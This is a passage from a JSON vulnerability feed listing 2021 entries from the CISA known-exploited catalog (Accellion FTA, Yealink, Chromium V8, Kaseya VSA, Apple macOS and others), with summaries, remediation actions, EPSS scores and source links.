exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27104","cveId":"CVE-2021-27104","aliases":[],"kind":"vulnerability","title":"Accellion FTA OS Command Injection Vulnerability","summary":"Accellion FTA contains an OS command injection vulnerability exploited via a crafted POST request to various admin endpoints.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Accellion","product":"FTA","stacks":["Accellion","FTA"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.56686,"percentile":0.99055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27104","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27104 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27561","cveId":"CVE-2021-27561","aliases":[],"kind":"vulnerability","title":"Yealink Device Management Server-Side Request Forgery (SSRF) Vulnerability","summary":"Yealink Device Management contains a server-side request forgery (SSRF) vulnerability that allows for unauthenticated remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Yealink","product":"Device Management","stacks":["Yealink","Device Management"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82865,"percentile":0.99668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27561&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27561","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27561 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27561&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27561, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27562","cveId":"CVE-2021-27562","aliases":[],"kind":"vulnerability","title":"Arm Trusted Firmware Out-of-Bounds Write Vulnerability","summary":"Arm Trusted Firmware contains an out-of-bounds write vulnerability allowing the non-secure (NS) world to trigger a system halt, overwrite secure data, or print out secure data when calling secure functions under the non-secure processing environment (NSPE) handler mode. This vulnerability affects Yealink Device Management servers.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Trusted Firmware","stacks":["Arm","Trusted Firmware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0306,"percentile":0.87508,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27562&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27562","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27562 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27562&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27562, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-28310","cveId":"CVE-2021-28310","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Windows Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08398,"percentile":0.94945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-28310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-28310","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-28310 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-28310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-28310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-28550","cveId":"CVE-2021-28550","aliases":[],"kind":"vulnerability","title":"Adobe Acrobat and Reader Use-After-Free Vulnerability","summary":"Adobe Acrobat and Reader contains a use-after-free vulnerability that could allow an unauthenticated attacker to achieve code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Acrobat and Reader","stacks":["Adobe Acrobat and Reader","Adobe","Acrobat and Reader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.51851,"percentile":0.98942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-28550&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-28550","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-28550 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-28550&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-28550, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-28663","cveId":"CVE-2021-28663","aliases":[],"kind":"vulnerability","title":"Arm Mali Graphics Processing Unit (GPU) Use-After-Free Vulnerability","summary":"Arm Mali Graphics Processing Unit (GPU) kernel driver contains a use-after-free vulnerability that may allow a non-privileged user to make improper operations on GPU memory to gain root privilege, and/or disclose information.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.12084,"percentile":0.96114,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-28663&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-28663","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-28663 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-28663&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-28663, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-28664","cveId":"CVE-2021-28664","aliases":[],"kind":"vulnerability","title":"Arm Mali Graphics Processing Unit (GPU) Unspecified Vulnerability","summary":"Arm Mali Graphics Processing Unit (GPU) kernel driver contains an unspecified vulnerability that may allow a non-privileged user to gain write access to read-only memory, gain root privilege, corrupt memory, and modify the memory of other processes.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05407,"percentile":0.92632,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-28664&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-28664","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-28664 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-28664&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-28664, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30116","cveId":"CVE-2021-30116","aliases":[],"kind":"vulnerability","title":"Kaseya Virtual System/Server Administrator (VSA) Information Disclosure Vulnerability","summary":"Kaseya Virtual System/Server Administrator (VSA) contains an information disclosure vulnerability allowing an attacker to obtain the sessionId that can be used to execute further attacks against the system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Kaseya","product":"Virtual System/Server Administrator (VSA)","stacks":["Kaseya","Virtual System/Server Administrator (VSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85735,"percentile":0.99724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30116&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30116","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30116 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30116&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30116, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30551","cveId":"CVE-2021-30551","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.64701,"percentile":0.99237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30551&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30551","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30551 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30551&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30551, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30554","cveId":"CVE-2021-30554","aliases":[],"kind":"vulnerability","title":"Google Chromium WebGL Use-After-Free Vulnerability","summary":"Google Chromium WebGL contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium WebGL","stacks":["Google Chrome","Google","Chromium WebGL"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07367,"percentile":0.9437,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30554&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30554","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30554 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30554&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30554, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30563","cveId":"CVE-2021-30563","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09,"percentile":0.95234,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30563&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30563","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30563 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30563&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30563, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30632","cveId":"CVE-2021-30632","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Write Vulnerability","summary":"Google Chromium V8 Engine contains an out-of-bounds write vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6319,"percentile":0.99198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30632","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30632 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30633","cveId":"CVE-2021-30633","aliases":[],"kind":"vulnerability","title":"Google Chromium Indexed DB API Use-After-Free Vulnerability","summary":"Google Chromium Indexed DB API contains a use-after-free vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Indexed DB API","stacks":["Google Chrome","Google","Chromium Indexed DB API"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3318,"percentile":0.98354,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30633","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30633 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30657","cveId":"CVE-2021-30657","aliases":[],"kind":"vulnerability","title":"Apple macOS Unspecified Vulnerability","summary":"Apple macOS contains an unspecified logic issue in System Preferences that may allow a malicious application to bypass Gatekeeper checks.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"macOS","stacks":["Apple macOS","Apple","macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68531,"percentile":0.99332,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30657&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30657","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30657 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30657&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30657, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30661","cveId":"CVE-2021-30661","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Storage Use-After-Free Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit Storage contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple 